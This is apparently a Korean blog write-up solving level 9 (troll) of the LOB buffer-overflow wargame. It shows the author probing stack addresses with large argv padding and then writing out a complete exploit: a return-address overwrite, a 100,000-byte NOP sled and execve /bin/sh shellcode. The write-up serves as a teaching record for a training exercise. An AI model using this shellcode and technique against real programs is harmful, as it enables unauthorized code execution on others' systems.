728x90
LOB 9 - troll write up |
코드가 좀 간결해진걸로 봐서 뭔가 제약이 풀린 것 같다. 확인해보니 환경변수와 버퍼 초기화 부분이 사라졌다.
그 대신 here is changed 의 코드를 살펴보면 47번째 바이트에 \xff 를 사용할수 없게 되어있다.
즉 다시 말해서 argv[1]의 48번째와 47번째는 \xbf\xff 로 시작하는 스택주소를 줘서 지금까지 풀었는데 ff를 사용하지말라는 말은, 저기 영역대를 사용하지 말라는 것이다.
그니까 이번 문제가 거는 유일한 제약은 bfffxxxx 로 시작하는 주소 영역대를 사용하지말라는 것인데, 그럼 이전에 사용했던 argv[2]에 쉘을 올리고, 놉(또는 dummy 문자)을 엄청 많이 깔면 주소영역대가 변하지않을까? 라는 아이디어가 들었다.
argv[2]에 문자를 몇개주어야 스택주소의 영역대가 바뀌는지 1000개부터 늘려보았다.
[troll@localhost tmp]$ ./vamp `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*1000'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿ [0xbffff868] Segmentation fault (core dumped) |
아직 bfff 주소영역이다 10000개로 늘려보자
[troll@localhost tmp]$ ./vamp `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*10000'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿ [0xbfffd540] Segmentation fault (core dumped) |
아직도 bfff 주소영역대이다 이번엔 10만개를 넣어보자
[troll@localhost tmp]$ ./vamp `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100000'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿ [0xbffe75b0] Segmentation fault (core dumped) |
드디어 bffe의 주소대가 나왔다
따라서 리턴주소에 bffe75b0을 주고 argv[2]에 앞에 10만개 놉을 깔고 쉘코드를 넣으면 공격이 가능할것 같다
이전 문제에서 사용한 페이로드를 가져와서 살짝만 수정해주자.
argv[1] : `python -c 'print "A" * 44 + "\xb0\x75\xfe\xbf" '` argv[2] : `python -c 'print "\x90" * 100000 + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` payload : ./vampire `python -c 'print "A" * 44 + "\xb0\x75\xfe\xbf" '` `python -c 'print "\x90" * 100000+ "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` |
이 문제는 처음 제약조건만 보고 풀이에 사용되는 핵심 아이디어를 바로 떠올린게 맞아서 기분이 좋다
728x90
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 10 - vampire (0) | 2021.10.03 |
---|---|
[포너블] LOB 8 - orge (0) | 2021.10.03 |
[포너블] LOB 7 - darkelf (0) | 2021.10.03 |
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
[포너블] LOB 5 - orc (0) | 2021.09.30 |
댓글